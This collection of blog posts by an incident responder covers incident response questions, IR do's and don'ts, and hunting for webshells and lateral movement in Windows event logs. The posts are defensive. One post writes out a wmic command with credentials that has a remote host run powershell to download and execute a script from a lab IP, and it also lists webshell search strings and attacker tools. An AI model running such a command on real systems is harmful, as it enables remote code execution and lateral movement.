Answering those needed questions

When I look at incident response I like to see at as a series of questions that typically needs to be answered. Once all of the stones have been turned, analysis performed and questions have been answered we can usually wind down and learn from what has transpired. As I was reading twitter today I saw a link to a vendor blog that made reference to IR questions in an attempt to help sell their product. It wasn’t a very good attempt and really minimized the work needed to effectively perform incident response. I won’t post the link here or mention the company name as I don’t want it to seem like I’m bashing them in any way. What I would rather do is to share my views on some of the questions that should be answered as well as some of the actions needed during response activities.

I think if you break it down into 6 categories you can begin to answer some of the questions. As you begin to answer these questions you should be building detection to help identify additional compromised assets, internal movement or the adversary attempting to regain access.

1. How did they get in?
2. How are they able to persist in your network?
3. How are they getting out?
4. How long were they able to persist in your network?
5. What did they do once they gained access?
6. What needs to be contained, investigated and remediated?

How did they get in?

What in your environment was exploited in order for the adversary to gain access to your network? Was it a vulnerable application on a host machine that was exploited by a phish or watering hole? Was it an external facing system that was exploited or maybe even a weak acl? Whatever the mechanism was it should be identified so that detection can be created as well as remediating the vulnerability.

How are they able to persist in your network?

This can also be stated as how are they maintaining access. Was some type of backdoor placed on compromised asset? Are they able to take advantage of legitimate access (contractor, M&A’s, 3rd party)? Are they able to take advantage of legitimate access via an externally facing asset? Also keep in mind that they may have multiple ways into your environment as well as multiple methods. Once access is identified detection should be immediately created and deployed. This can help identify additional entry points as well as it may alert you when they attempt to get back in.

How are they getting out?

Just because they have a way into your environment does not mean that they will move data out of your environment over the same path. All outbound connections should be analyzed and any suspicious connections should be investigated. When I mention outbound connections I’m speaking outbound from a compromised host to anywhere as you may see hop points within your environment where data is moved through. Create detection where possible and don’t only think about ip’s and domains. Is there a certain protocol or port that is being used? Are there certain credentials being used or maybe even certain file sizes?

How long were they able to persist in your network?

Identifying dwell time is important so that you have a time range to base your investigation on. Management will also want an answer to this question. Remember that this time will likely change as additional hosts are identified.

What did they do once they gained access

This is a big one and can encompass answering many questions. Some of these may be:
*What tools were brought in with them?
*Where were the tools placed?
*How were the tools used?
*How did they move laterally?
*Where did they move laterally from?
*Where did they move laterally to?
*What hosts are compromised?
*How was each host compromised?
*What hosts are suspected of being compromised, but not yet confirmed?
*Were any internal credentials used?
*Were any internal credentials taken?
*Was any data taken?
As with all of the other questions, ensure you create detection where it makes sense. Also ensure that any credentials that have either been used or attempted are contained and remediated.

What needs to be contained, investigated and remediated?

If there are any indications that a host, credential, data has been compromised it needs to, at a minimum, be investigated. The outcome of the analysis or response policy will usually drive the containment and remediation. As containment is often driven internally and every company has differing philosophies I won’t go into containment here. What I will say about it though is, ensure that you know what your options are and that you know what affect it will have on the data that needs to be collected.

Every intrusion is different, but knowing what questions typically need to be answered beforehand will usually help with response and ensuring you are covering the items that need to be covered. When documenting your analysis you may even want to have specific fields for your questions as it can help focus the work to what’s most important.

Don't wait for an intrusion to find you

Stopping every intrusion before the attacker is able to enter your network is a dream. We all know that prevention eventually fails, but does that mean that we’ve failed? I don’t think so. I think that if we can detect and stop an intruder before they are able to accomplish whatever goal they have we’ve succeeded. There is a saying that intruder needs to be right only once and a defender needs to be right every time. I disagree with this statement. An attacker will leave traces of their activity and if we layer our detection we will have a better chance of identifying their activity during the course of an intrusion. Before we do this though, we should think about what it takes for an adversary to be successful and encompass those actions into our detection and hunting strategies. This is the first post in a series I wanted to do on this topic.

I was having a conversation with a colleague a while back and the topic came up on what an intruder needs the ability to do during a targeted intrusion. The following are the ones that I came up with, though he had a few others.

1. An adversary needs to enter your network
2. Maintain persistence in your environment
3. Have the ability to execute commands with the correct privileges
4. Locate the data they are after
5. Get the data out

Thinking about the above and knowing that an attacker can’t hide every trace of their activity, that’s 5 different stages an intruder needs to accomplish in order to be successful.

An adversary needs to enter your network
This usually involves exploiting some type of weakness in your environment.
1. Exploiting an end user system via a phishing attack or watering hole.
2. Exploiting a vulnerability on an internet facing device.
3. Using stolen legitimate credentials to login as a normal user.
4. Successful password guessing attack against an external facing applications (are administrative portals open to the internet? If so, do you know the password complexity?)

Maintain persistence in your environment
Companies that have experienced compromises that have lasted months to years know too well that the attacker was able to enter their network at will. As the intrusion progressed the methods of access or number of access points may very well have changed too.
1. Backdoor’s
2. Webshells
3. Credentials via legitimate access

Have the ability to execute commands with the correct privileges
This stage may encompass several different steps for them to be successful.
1. Credential harvesting
2. Remote CLI
3. Remote Desktop
4. Remote task scheduling
5. Attacker tools

Locate the data they are after
An attacker typically won’t land on the device or devices they intend to steal data from when they gain their initial foothold. They will likely need to first locate it (if they don’t already know). Gain access to it and locate the data on it.
1. Scanning
2. Lateral movement
3. Attacker tools

Get the data out
Once the data is located how is the attacker able to move it off the device and out of your network.
1. Data packaging
2. Data staging
3. Exfiltration
4. Attacker tools

Since step one is usually very short lived I’ll skip that one and go onto step 2. I spend a lot of time looking at ways attackers may take advantage of different tools and how this may look in different sets of data. If we look at the use of webshells in an intrusion what are the different ways someone may be able to find them. I’ve actually posed this question to people on a few occasions and I think this is a good one to talk about as the responses are usually very different. I’m not at all saying they are wrong, but simply the responses cover a wide range of ideas.

Below are some of the ways I think you may have success when looking for compromised webservers in your environment.

AV
People say that AV is dead, but I disagree. AV may not catch everything or block what it is able to detect, but the logs can be invaluable when hunting for compromised hosts on your network. When looking for compromised webservers it may be good to initially look for any AV hits where the file extension matches .asp, .aspx, .jsp, .php, .cfm or.js to name a few. If you do find any hits, is the alert related to a file that would be in the DOCUMENT_ROOT of the webserver? Another indication may be other AV hits for types of recon tools.

URI structure and POST data
Thinking about what a webshell would typically provide to an attacker, one of the most common things would be command line access to the webserver. When a command is executed it is often not from a running cmd window, but rather each command is executed one by one and each calling cmd.exe. For these commands to be executed the “/c” argument will need to be used in conjunction with cmd.exe or just cmd. The command will also need to be passed by the webshell and would commonly be in a http POST request. Some webshells may pass the command in the URI while others may pass it in the POST data and may be encoded somehow. When looking for compromised webservers it may be good to look for either the string “cmd.exe /c” or “cmd /c” using ascii or commonly used encoding types such as hex and base64. You may also find some wins looking for the string “C:\” using the same method. Note: Don’t forget to include HTML safe characters when searching for ascii (C:\ would translate to C%3A%5C).

Other things you can look for as it relates to URI’s may be GET requests to odd file extensions with high byte counts. Repetitive GET requests to odd file extensions in the same directory path.

String scanning
Scanning the filesystem of webservers can be an effective way to identify known webshells. This can be easily accomplished with grep or powershell and a word list. When creating your wordlist try to identify items that may not be frequently changed like function names and try to include a few of them per webshell you are scanning for. Another tool that can be used for this is CrowdResponse which I will talk about in a later post.

Network session data
When an attacker compromises a webserver expect them to attempt to move laterally from it. You can use session data to identify internal network connection attempts that have been initiated from your webservers. Some things to look at may be:
1. Are these consistent with typical activity or are these attempts new?
2. How did these sessions end and what did the byte counts look like?
3. Are there any patterns that may indicate attempted scanning?
4. What are the destination ports i.e. 445, 3389, 1443?
5. For any of the above ports, what is the duration and byte count of the sessions?

Established network connections
If you have the ability to pull network connection data from your hosts, do you see any connections spawned from a webserver process to a port on localhost i.e. localhost TCP 3389 <- TCP 2222? This may indicate some type of tunneling over http. Processes
Webserver processes such as w3wp, Tomcat, Apache should be monitored very closely for what child processes are spawned under them. I wrote a post a few months back that talked about this so I will just link to that post here Another hunting post

I know that what I talked about above has bled over to a few of the other stages, but I feel they all relate to finding webshells in your environment. If you have additional ideas regarding this topic I would love to hear them. Feel free to reach out to me on (@jackcr) twitter.

IR Do's and Don'ts

There is a lot of documentation around the different phases of the IR cycle. We talk a lot about preparation, identification, containment, eradication, recovery and lessons learned. Lets face it, dealing with intrusions can be very fast paced with a lot of activity all usually happening at the same time. You can often be in more than one of the above phases and likely will need to repeat a few as well. If you don’t respond to intrusions all that often or maybe you never have, it’s easy to to get lost in all the activity and miss some very important steps. Here are some of the things that may be good to think about as well as some of the pitfalls to avoid.

Do’s

Find the entry point
I put this at the top because I think this should be one of your top priorities. You may not always be alerted to an intrusion as a result of a beaconing endpoint or the intruder may not even be using a backdoor for gaining access to your network. The intruder may very well be entering your network by taking advantage of legitimate means. Following the trail that is left behind until you eventually locate that entry point, or as is often the case entry points, is critical. You should never consider the incident contained until the intruder’s access is cut off.

Find the exit point
This ranks up there with locating the entry point and killing access. If the intruder was able to locate and access the data they were after they are probably funneling it out of your network. Some things to ask your self may be:

1. Are there large data transfers identified from any of the identified compromised machines.
2. Do you have pcap to identify what those transfers consisted of?
3. Do you see archiving activity or sequential rapid file access during the time the intruder was on the machine?

The above are some of the things that you may want to look for. If you have an indication that data was collected for exfil you may want to look at:
1. What did the login activity look like around that time?
2. Are there any tools found on the device that could be used to push data?
3. What ip’s may be suspect based on access time or volume of data transfer?

Identify lateral movement and how it’s being performed
Regardless of where in the killchain an intrusion is identified always assume that lateral movement is happening until you can prove otherwise. If we take a step back and simply look at it from a non tool perspective there are certain things that need to occur for them to do this successfully.

1. They need to know where to go.
2. They need a way to get there.
3. Once there they need a way to get in.

If we think about the above tasks we know they need to perform, can you identify:

1. Any scanning activity or network enumeration.
2. Any network connections that are either the source or destination of your known compromised machines from the point you know they were compromised. If so, do the identified connections match any indicators of the current intrusion or do they seem out of the norm for what these machines usually do? Are there large amounts of data being transferred either to other internal machines or outside of your network? If you collect pcap, what does the pcap indicate?
3. Once an adversary has a foothold into your environment you generally won’t see exploitation of internal machines as a method to gain access to it. How are they gaining access? Are legitimate credentials being used and if so what level of access do they have within your domain? Are you seeing these credentials being used elsewhere in your environment? How were they able to get these credentials?

Follow the indicators
I’ve watched new analysts (and remember when I was there myself) struggle with not only knowing where to begin, but what to do next. When you identify a new indicator what does it tell you? A few examples would be:
1. Password dumper – What hashes were dumped and do we see any of those credentials currently being used?
2. net.exe – Was this a result of enumeration or lateral movement?
3. ping.exe – What hosts were being pinged? Were they successful and do those hosts show signs of compromise?

Once new indicators are identified can you identify any other hosts on your network with those same indicators?

Delegate tasks
If you are running the incident know that you can’t do it alone. Whether it’s analyzing host artifacts, looking at network traffic, building new detection, or simply working on a communication to send to leadership. Distributing the workload across your team is important, but it does take some confidence in knowing that each team member can effectively handle the task they were given.

Know when, what and how to contain
Containment is largely a business decision, but some things to keep in mind regarding containment are.
1. What is the scale of the incident? If you contain something will you lose sight of the activity before it is scoped to the point that you can contain the intruder access.
2. What needs to be contained? This can be things such as machines, user accounts, external access…
3. From a business decision, who has the authority to grant containment?
4. What is the impact of containment based on the severity of the incident?
5. Does my containment method allow for additional artifacts to be collected from the device if needed?
6. Does my containment method destroy any evidence that may be crucial to the investigation?

Have a method for host collection
I’ve said before that during an incident is probably not the best time to be pulling disk images for analysis. The amount of time it takes to collect and transfer these does not enable the speed that we should be moving at. It’s a good idea to have a standard set of artifacts that are collected during response so analysts know what they are getting as well as the people that are collecting the data know what to collect. Once you have a standard it can also be scripted and quickly pushed out to suspect hosts.

Build detection throughout the incident
Continuously building detection as new indicators are found is extremely important during an incident. As the intruder moves from machine to machine they may utilize different methods of movement, tools, user accounts and so on. As these indicators are identified try to implement them in some type of alerting mechanism as well as performing a historical search.

Documentation
I’ve talked about this many times. Hopefully when you’re responding to an incident you are not the only person involved. Your documentation should be a team effort as well as being collaborative. It’s important to have a place that the entire team can document their analysis, update documentation with additional findings as well as a place where anyone with access can get a current status and a full picture of what has been determined at that point in time.

communication
Leadership: Keeping leadership informed on what is currently happening is important. They likely have to communicate your findings to others who are not directly involved in the incident, but may be key stakeholders in decisions that are made. Not keeping them informed so that they can make those business decisions can be a mistake.

Response team: Communicate what you are doing as well as what you are finding to the rest of the team. If it’s what you are finding it’s probably best to communicate that in your documentation so that others can easily find it and incorporate it into their analysis. Not every compromised host will look the same and having a place for everyone on the team to get updated information is very important.

Wrapping things up
Knowing what needs to be remediated is critical and it’s a good idea to keep a running list so that you don’t lose sight of something that can allow the intruder access back into your network or easy access internally the next time they are in. Some things to keep in mind when you are keeping that running list:
1. Compromised machines
2. User accounts
2. Policies (firewall, proxy, WAF…)
4. Applications that may have been exploited

Dont’s

Don’t forget to watch for new or unrelated activity
Just because your are currently responding to an incident doesn’t mean that you can’t experience another compromise at the same time. If you don’t have analysts that are dedicated to analyzing alerts during response you may be missing the next intrusion.

Dont panic
This is probably one of the worst things that you can do. Remember that you will get through this much quicker if sound decisions are made and this likely won’t happen if your response is based on knee jerk reactions. Keep focus on the most critical tasks at hand and ask yourself if the decisions you are making are sound. Even though the decisions may fall on you, allow input from others because the may have ideas or viewpoints that you have not thought about.

Don’t communicate assumptions
I think some assumptions are ok and may help guide your analysis, but communicating these out before they are proven to be fact can be a mistake. Remember that other decisions are made based on the analysis that you are performing and communicating.

In closing, I think that it’s a good idea to have some type of playbook that is specific to your company. What are the types of things that you know need to be done everytime can be put here. This may help others if you or the senior person on your team is tasked and they have questions or are looking for the next thing to do.

Categories of Abnormal

First, a rant.  If you are a twitter fan and have spent any time looking at the #ThreatHunting hash tag you may have seen that a lot of people and companies talk about hunting, but never really explain the methodologies they use or why they use them in the first place.  It’s really more of a why you should be hunting.  I think this is a disservice to those that want implement this type of strategy, but find it difficult to get started.  I would love to see more people share their experiences and less of why we should be doing it.  Ok, rant over, sorry.

I spend a lot of time thinking about and studying intrusions while trying to define similarities between all of them.  I think that the more similarities I can find across different intrusions and actors, the harder it will be for any adversary to go unnoticed for prolonged length of time.  In a way, I believe this is a step above detecting at the TTP level.

Picture the following scenario.   

1. A web server running Tomcat is compromised by weak administrative credentials. 
2. The attacker uploads a war file and installs a webshell.
3. The attacker accesses the webshell and executes whoami which returns the system account.
4. The attacker executes several os commands to determine where he is and where he can go. (ipconfig.exe net.exe, ping.exe…)  
5. The attacker uploads and executes mimikatz to collect credentials that can be used for lateral movement.
6. The attacker attempts to mount the c$ share on several remote machines using the credentials obtained via mimikatz.
7. Tools are eventually pushed to the c$ share on a remote machine and executed via wmic.

This example may be overly simplistic and only a small piece of an intrusion, but I think it illustrates the point that I’m going to make.  Every intrusion will introduce abnormal into your environment.  These abnormalities are typically seen in the following ways:

1. Communication between machines
2. User authentication
3. Processes execution
4. Filesystem activity

Just like developing a detection strategy that looks for IOC’s across various points of the kill chain, I think it’s also important to devise a strategy to hunt for anomalies that will need to exist when an intrusion occurs.  The benefit of hunting for these anomalies is that we are targeting the effects of behaviors and should be agnostic of specific tools or actors. 

It is often said that you need to baseline your environment before you can begin detecting anomalous behavior.  I’m not sure that I fully agree with this.  I think at some point you need to understand what the difference between normal and abnormal looks like, but I don’t think it always hinges on baselining.  If we build generic queries around least occurrence and first seen we have a chance of identifying the above as well as many other types of lateral movement or actions on objective.

Least occurrence:

1. Inbound HTTP POST requests with compression extensions by URI path.
2. Operating system commands executed by a web server process.
3. Explicit logon events by count and time.
4. Explicit logon events by process name.
5. $share access by source host and username 

First seen:

1. Process creation spawned by web server process.
2. Files being written by web server process.
3. Explicit logon by user, hostname and process.
4. Failed authentication by source host and username count.
5. Files being written to $ share

Distinguishing normal from abnormal can often be difficult, especially if you look at events singularly. Administrators will generate anomalous events just by their daily activities.  Users may generate anomalous events just because a new application was installed or they are working on a new project.  I believe that if you devise a strategy to hunt for the above 4 categories of abnormal and start looking at sum of events in different categories vs singular events you can begin to bubble the things that need to be investigated to the top.  It may take quite a bit of work to get to this level, but the detection capability will last far beyond a single adversary and single intrusion.

As always, I would love to know what you think.  Feel free to reach out on twitter ($jackcr) or use the comments section. 

Hunting From The Top

A few years ago David Bianco produced the Pyramid of Pain as a way to measure the cost to an adversary as it relates to detecting different types of IOC’s.  I think this really is a great way to measure your detection if you look across all of your signatures and identify where they are on the pyramid.  If the majority are at the bottom it wouldn’t take much for an adversary to change a few simple things and you would completely lose sight of them.  The same can be said for hunting.  A few days ago I talked about the need to think about behaviors and the artifacts that those behaviors would create.  I think this is a very important concept and something that can help you begin to hunt from the top of the pyramid.

We know that during targeted attacks an adversary will typically need to move laterally in order to access the data they are after.  If we hypothesize about the different ways an adversary will move from machine to machine we can begin to build out some questions that we need to ask. To illustrate, lets say that we hypothesize that an adversary will take advantage of wmic and powershell to help facilitate lateral movement through our network.  These have been widely reported so it makes sense that we try and identify anomalous use of these tools.  When planning our strategy we first need to understand how these tools are being used so that we can mimic the behavior in a test environment.  

Consider the following command

wmic /node:192.168.56.10 /user:"pwned\administrator" /password:”abc123" process call create “powershell.exe -Command add-content -path ‘C:\bad.ps1' { IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.56.1/bad.ps1' )}"

If I were to review the windows security event logs we would see that when the source executed the command it would generate a 4648 logon event with the source process of wmic.exe.  Following this I would probably want to see how prevalent this is in my environment.  Ask yourself and try and determine the following questions:

1. Do admins typically execute wmic against remote machines?   
2. What user accounts are typically seen in legitimate activity?
3. When they authenticate, are they authenticating as the same user or are they authenticating as a different user to run the command.
4. Did the source attempt to authenticate to a single machine or multiple machine with the same user account?
5. What are the roles of these machines? 
6. Can I tune out normal activity based on the answers to the above as well as recurring volume?

On the destination side I would see in the windows security event logs a 4624 type 3 login as well as a 4688 event where wmiprvse.exe is the parent process of powershell.exe. I would also see that when powershell downloaded bad.ps1 I would have seen an http GET request with no User-Agent string.  Some questions to ask may be:

1. Does wmic normally spawn powershell in my environment?
2. If this typically occurs, can I whitelist based off of known usernames and hostnames?
3. For anomalies, what are the roles of the machines?
4. What other processes are child processes of powershell where wmiprvse is the parent.
5. How often is a .ps1 file fetched from the internet with no User-Agent?
6. What are other files being downloaded with no User-Agent?

When reviewing the data it also helps to only include fields that are pertinent to what you are looking for.  It’s much easier to find anomalous activity when you have only relevant data in front of you.  Here are some ways that I find helpful when looking at 4648 events. 

1. processes that were used to initiate a type 4648 logon.  Stack the process name by count and focus on low counts. 
2. src user != dest user stack by count
3. src user = src user stack by count
4. src host and dest host stack by count 
5. src user != dest user and  src host != dest host count by dest host
6. src user != dest user and  src host != dest host sort by time
7. time, src host, src user, dest host, dest user, anomalous process

To sum things up I think the following steps are important to building any new hunt.  Hypothesize, understand behavior, formulate questions, test data, build queries, automate collection and presentation of data.  As always, I would love to hear any questions or feedback. You can also find me on twitter @jackcr. 

Hunting Lateral Movement

When I published my last blog post I was reading twitter and saw someone comment on how difficult it is to detect lateral movement.  While I agree with this, I think there are many things you can do with regards to hunting to help better find this.  Stepping back for a second and looking at the problem we can say that there are many different tools that can be used and many avenues that can be taken to facilitate someone moving through your internal network, but there are also common things that will happen.  Figuring out what the common things are will better help you devise a hunting strategy and hopefully make the time you devote to hunting more successful.  Looking specifically at lateral movement we can say the following will occur.

1. Processes will be spawned
2. Authentication will occur

We can also say that it may be probable that tools will be moved across the network to facilitate recon, privilege escalation, lateral movement, data packaging and exfiltration.

Using windows event logs I would like to describe some of the different ways you can take advantage of these common things and begin to look for lateral movement.  I also like to focus on servers as this is where you will often see this activity.

Processes

When an adversary executes tools that they brought in with them they probably won’t execute these hundreds of times a day across your environment, but as they move from machine to machine they may execute some or all of the tools on the host they just gained access to.  This will likely limit the number of times a day you will see these tools executed.  Using the windows event logs and focusing on event codes 4688/592, you can stack the output by process and look at rare in a 24 hour period. When analyzing this data ask yourself:

1. Are there legitimate file names in odd directory paths?
2. Are there file name misspellings of legitimate executables?
3. Does the owner of the process seem correct?
4. What is the role of the server that the process is executing on?
5. Does the process name just look weird for some reason? (don’t discount hunches)

If you identify any suspicious processes can you prove that it’s legitimate or likely legitimate based on the file path, parent/child process or history of execution against a longer period of time? 

As an adversary moves from machine to machine they will often want to know things like: who they are, what level of access do they have, what services are running on the machine, what other machines are around them… They will often determine this by using legitimate windows binaries.  When determining this information they will typically do this in minutes vs hours regardless if they are using a script or typing the commands on a command line.  Knowing this, we can use it to our advantage.  Again focusing on windows event logs and focusing on event codes 4688/592 try to identify the following:

1. Net.exe, ipconfig.exe, whoami.exe, nbtstat.exe...
2. Cluster x number of processes executing within a 10 minute time frame.

For the data the get’s returned:

1. identify the parent process and if it’s legitimate?
2. What additional processes have executed on the machine within a 1 hour period and do any of those look suspicious?  If there are, are they owned by the same user?
3. Are these spawned by the same process or process name?
4. Are these processes all owned by the same user?
5. Is there previous history of this activity?

Tool Movement

As an intruder moves tools around your network, or even executes tools from a remote machine, these will often be copied to an administrative share (ADMIN$, IPC$, C$).  If Windows Detailed File Share Auditing is enabled we can identify file writes to these shares. Note: This is not recommended for all server roles.  Read the documentation before enabling.  To view these logs use windows event code 5145 and stack based on file name.  When analyzing these logs it may help to identify the following:

1. Number and names of files copied from same source.
2. User that copied the files and past history.

Authentication

When attackers are moving through your network they won’t be exploiting some vulnerability in every machine they gain access to and popping a shell, but rather will be using legitimate credentials to login to these machines.  We can start looking for malicious logon activity by focusing on windows event id’s 4624 type 3, 4625 type 3 and 4648.  Some things to look for when reviewing these logs are:

1. Server to server communication.
2. Same source to multiple destinations.
3. Short session times for successful authentication.
4. Failed authentication from same source to multiple destinations with multiple legitimate administrative accounts.

What I’ve described above are a few ways that you can look at windows event logs to try and identify those common things related to lateral movement.  This is in no way a complete list, but rather a way to get you thinking about different ideas that you can use to tackle this problem.  If you have other techniques that you use to devise a strategy I would love to hear them.  By sharing I believe we all get better.

Happy Hunting 

My Thoughts on Threat Hunting

As some of you may have noticed, I have taken down handlerdiaries.com.  I’ve created this new blog to post my thoughts on incident response and finding bad guys in your environment.  This is my first post in quite some time and has been something I’ve been meaning to do sooner, but has always seemed to get put on the back burner.  I hope this blog can have as much success as my last.

There has been a lot of talk about the need for hunting.  Many vendors say their product has it baked in or they provide it as a service, but there is not a lot of discussion about how to do it.  David Bianco has been trying to change this with his newly created site www.threathunting.net and has a lot of great content there.  If you haven’t checked it out you really should.  What I want to talk about though is how do we get to the point that we can begin to hunt effectively.  I see a lot of people simply take indicators, search for those and call it good.  That may be one method, but is probably not the best use of your time as you can take the majority of those, write signatures for them and be alerted when there is a positive match.  I like to look at the task a different way.  What steps must an adversary take to accomplish their goal and can I look for indications of those steps.  I see the following steps as:

1. Enter and persist in your environment
2. Establish and maintain C2
3. Elevate privileges
4. Recon (system and network)
5. Locate data for exfil
6. Move laterally to access that data or to gain a great foothold
7. Package data for exfiltration
8. Exfil data out of your environment

Bucketing your hunting in different steps I think helps focus your ideas.  You can also track your progress much easier and know what ground you’re covering. 

Once you know what you want to look for, you need to know what it looks like and if you can find it in the data you have available.  I would suggest setting up a couple of vm’s, and perform the actions that you want to look for.  An example would be looking for the execution of password dumpers.  Execute mimikakz, gsecdump, wce, pwdump (or others you may be concerned about) and identify what logs are generated (OS, AV, hips…), and how it behaves on a machine.  Is there any type of log generated that I may be able to use as a trigger to look for something else?  Or can I generate logs based on the way it executes that may help increase my chances of finding it?

The next thing that I find very helpful is to understand how things may look if done in a malicious way.  We can use hands on keyboard recon as an example. Assume we are interested in:

net.exe

ping.exe

netstat.exe

whoami.exe

nbtstat.exe

If I were to look at the above for indications of recon I may be looking for a single cmd.exe process spawning some of the above processes.  These processes would likely be spread out over a couple of minutes as it takes longer to type the commands on a keyboard and have the data returned than it would if I were execute the same commands from a script.  A script would also likely spawn multiple cmd.exe processes, each to run one of the above.  Some other things I would be interested in are the parent process of cmd.exe, the user that owns these processes and the time of day that this occurred.

Taking the 8 steps above, how can I use these to help find a webshell?  Listing out what I know about them I can say the following.

1. They beacon only when being used.
2. They facilitate the execution of commands.
3. Many facilitate the upload of additional tools.
4. The webshell will be in a web accessible directory.
5. Processes will be spawned by the owner of the web server process.

Taking this information I can start planning my hunting strategy for them?

AV:

Look at AV hits across your web server environment for any hits with a web file extension and is in a path that would be accessible from the internet.  From my experience these are typically pretty high fidelity alerts and any positive hits should be investigated.  Other items of interest would be any alerts for hacking tools.

Note: These are good for alerting, but have included them here for those starting out.

Log Source: AV Logs

File Extension: .jsp, .war, .asp, .aspx, .php, .cmf

Step: Enter and persist in your environment, establish and maintain C2

HTTP POST:

Look for inbound POST requests that have no referrer.  When these are identified, look at the number of posts.  Typically if I’m executing commands I’m not just going to run a single command.  There will be multiple commands executed in a fairly short amount of time.  These commands will vary in size as well as the data being returned.  

Log Source: Webserver logs

Method: POST

Referrer: None

Count > 10

Duration: 30 Min

Byte counts vary in size

Single or multiple src ip's

Step: Establish and maintain C2

Process Execution:

When a webshell gets placed on a machine, the commands executed will run under the context of the user owning the web server process and a child process of the web server process.  So if I execute a command from a webshell on a web server running IIS, it will likely spawn a cmd.exe process that will be owned by that user and will be a child process of w3wp.exe.  Again, we want to look for frequency with these as the times they execute will be sporadic, but when they execute there will likely be multiple processes executing (cmd.exe -> net.exe, cmd.exe -> ipconfig.exe...).

Log Source: Windows security event logs (Event code 4688 or 592)

Child process of web server process (IIS, Tomcat, Apache, ColdFusion)

Owner of web server process

Count > 20

Duration: 30 Min

Step: Lateral movement

Behavior:

When a web server gets compromised there are some typical things that will likely occur (Though not in every case). 

1. A new file will be placed on the web server with a web file extension and in a web accessible directory.
2. Commands will be executed from the webshell. (cmd.exe, powershell.exe…)
3. Additional tools will be uploaded to the web server. (Look for newly created files with extensions of .zip, .rar, .7z, .exe…)

Looking for at least 2 of these occurrences from the above in a 15 minute window can help identify suspicious behavior that may need investigating.  Multiple log sources may need to be incorporated for this, but the work in doing so can be well worth the effort.

Step: Enter your environment, recon, lateral movement

With each of the above searches it is important to review this on a regular basis.  I would recommend setting up a schedule to collect this data and format it so that it’s easy to review.  It’s a little bit of work to setup these searches, but once done, the time needed to review them is pretty minimal.

So to sum things up.  These are the steps I see that are essential when you begin to hunt for bad guys.

      1. Define what you are looking for.

2. Know what it looks like.
3. Identify the data you have available to find it.
4. Create and schedule searches.
5. Regular review of data.

Questions or comments are welcome.  You can use the comment section or hit me up on twitter @jackcr

Happy Hunting